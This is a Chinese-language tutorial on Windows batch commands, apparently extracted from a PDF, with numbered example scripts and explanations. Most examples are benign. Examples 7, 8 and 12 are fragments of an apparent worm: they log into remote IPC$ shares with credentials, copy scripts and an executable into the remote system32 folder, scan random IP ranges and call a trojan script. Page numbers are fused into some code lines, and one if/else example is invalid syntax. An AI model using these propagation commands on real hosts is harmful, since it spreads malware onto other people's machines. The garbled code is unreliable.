BAT命令积累
| 1 | @ | 不显示@后面的命令本身 | 9 | find | 查找 |
| 2 | echo | 命令开关，是否显示后面的命令。 | 10 | for set shift | |
| 3 | :: | 注释 | 11 | | | 管道 |
| 4 | pause | 暂停 | 12 | > >> | 重定向：重写、追加 |
| 5 | : 和goto | 跳转到：标签处 | 13 | < <& >& | 输入重定向 |
| 6 | % | 参数 | 14 | & | 给合N个 dos命令 |
| 7 | if | 判断（输入、存在、结果判断） | 15 | && | 前面出错退出 |
| 8 | call | 调用 | 16 | || | 前面正确退出 |
例一、先给出一个最 easy 的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为
name.bat 然后执行（以后文中只给出代码，保存和执行方式类似）：
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
1ping sz7.tencent.com >> a.txt
exit
例二、再给出一个已经过时的例子（a.bat）：
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
例三，使用批处理脚本查是否中冰河。脚本内容如下：
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
例四，借批处理自动清除系统垃圾，脚本如下：
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理 自动化 “ ”
的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机
过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，
麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计
时，我 “ ”
被逼 写了这个脚本，用起来很爽，呵呵。看看脚本内容：
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
4:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
例六：
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
例七：
net use \\%1\ipc$Content$nbsp;%3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
例八（默认的三个脚本文件名分别为 start.bat、10.bat 和 ipc.bat）：
start.bat：
……
CALL 10.BAT 0
……
10.bat：
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
10ipc.bat：
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
例九（默认脚本文件名
a.bat）：
net send %1 This is a call example.
call a.bat
例十（默认脚本文件名为 a.bat）：
call a.bat
例十一：
@echo off
for /? > for.txt
set /? > set.txt
12shift /? >shift.txt
exit
例十二：
START.BAT：
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET
NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL
NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
例十三：
help | more
1. @
2. echo
3. ::
4. pause
5. : 和 goto
6. %
7. if
8. call
9. find
10. for set shift
11. |
12. > >>
13. < >& <&
14. &
15. &&
16. ||
1. @
它的作用是让执行窗口中不显示它后面这一行的命令本身
2. echo
它其实是一个开关命令，
echo off 它后面的所有命令都不显示命令本身，只显示执行后的
结果，除非执行 echo on 命令。
echo 命令的另一种用法一：可以用它来显示信息！
echo 命令的另一种用法二：可以直接编辑文本文件。例六：
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一
个 a.bat 的文件，直接执行就会得到结果。
3. ::
它是注释命令，在批处理脚本中和 rem 命令等效。
4. pause
是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。
5. : 和 goto
goto 是个跳转命令，:是一个标签。当程序运行到 goto 时，将自动跳转到:定义的部分去执行了
6. %
它只是批处理中的参数而已
7. if
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
(1)、输入判断。还是用例五里面的那几句吧：
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
这里判断输入的参数情况，如果参数为空（无参数），则跳转到 usage；如果参数为/?或 help
时（大家一般看一个命令的帮助，是不是输入的/?或 help 呢，这里这么做只是为了让这个脚本
8看起来更像一个真正的程序），也跳转到 usage。这里还可以用否定形式来表示“ ”
不等于 ，例
如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到 usage
(2)、存在判断。再看例二里这句：
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些 gif 文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件
“
判断是判断存在的，当然也可以判断不存在的，例如下面这句 如果不
存在那些 gif 文件则退出
”
脚本 ：
if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个 not 来表示否定而已。
(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否
则用 link 程序连接生成的 obj 文件。这里只介绍一下和 if 命令有关的地方，&命令后面会讲到。
这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS 程序在运行完后都有返回
码），如果和定义的错误码符合（这里定义的错误码为 1），则执行相应的操作（这里相应的
操作为 pause & edit %1.asm 部分）。
另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，
代码变为：
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if
errorlevel 0”的效果是等效的，都表示上一句 masm 命令执行成功（因为它是错误判断，而且返
回码为 0，0 就表示否定，就是说这个错误不存在，就是说 masm 执行成功）。这里是否加
not，错误码到底用 0 还是 1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以
一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有 not 和没有 not
9的情况，返回码为 0 或 1 的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情
况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从
执行的结果中就能很清楚的看出这两种情况的区别。
这种用 errorlevel 结果判断的用法是 if 命令最难的用法，但也恰恰是最有用的用法，如果你不会
用 errorlevel 来判断返回码，则要达到相同的效果，必须用 else 来表示 否“ ”
则 的操作，是比较
麻烦的。以上代码必须变成：
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
关于 if 命令的这三种用法就 say 到这里，理解很简单，但应用时就不一定用的那么得心应手，
主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是
因为下面三行是 if 命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必
要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以
我采用上面自己对 if 命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且
也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上
的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8. call
call 命令用来从一个批处理脚本中调用另一个批处理脚本。
9. find
这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么
突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实
际意义。还是借例三来说明：
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用 netstat 命令检查是否有冰河默认的端口 7626 在活动，并把结果保存到 a.txt 中。然后使用
type 命令列出 a.txt 中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了
冰河，否则退出。看，find 命令其实就这么简单，但有一点必须要注意到：如果不使用 type 命
令列出 a.txt 中的内容，而是直接使用 find 命令在 a.txt 中找“7626”（find a.txt "7626" && echo
"Congratulations! You have infected GLACIER!"），就必须得给出这个 a.txt 的绝对路径（我试
过了，find 并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。
因为在 find 命令的帮助里有这么一句话：如果没有指定路径，find 将搜索键入的或者由另一个
命令产生的文字。这里的“ ”
另一个命令 自然就指的 type 命令了。
至于 find 命令的其他几个参数如 v、n、i 等，有兴趣的朋友自己去研究吧，这已经属于 DOS 学
习的内容了，这里就不做介绍。关于 find 命令和其他命令的一些更精妙的用法（有些简直令人
叫绝），后续的教程中将介绍，希望关注。
10. for set shift
11. |
管道，前一个命令的结果上操作后一个命令
12. > >>
前一个重写，后一个追加。
他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，
>会清除掉原有文件中的内容后把新的内容写入原文件，而>>只会另起一行追加新的内容到原文件中，而不会改动其中的
原有内容。
13. < >& <&
<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。
>&，将一个句柄的输出写入到另一个句柄的输入中。
<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。
14. &
这可以说是最简单的一个组合命令了，它的作用是用来连接 n 个 DOS 命令，并把这些命令按顺
序执行，而不管是否有命令执行失败。例十六：
copy a.txt b.txt /y & del a.txt
其实这句和 move a.txt b.txt 的效果是一样的，只不过前者是分了两步来进行的
15. &&
与&命令不
同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出
错，一旦发现出错后将不继续执行后面剩下的命令。
这就为我们自动化完成一些任务提供了方
便。例十七：
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
如果远程主机存在 user.mdb，则 copy 到本地 e:\backup\www，如果不存在当然就不执行 copy
了。这
这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的：
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
16. ||
这个命令的用法和&&几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇
到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下
是否有以 s 开头的 exe 文件，如果有则退出。例十九：
@echo off
dir s*.exe || exit
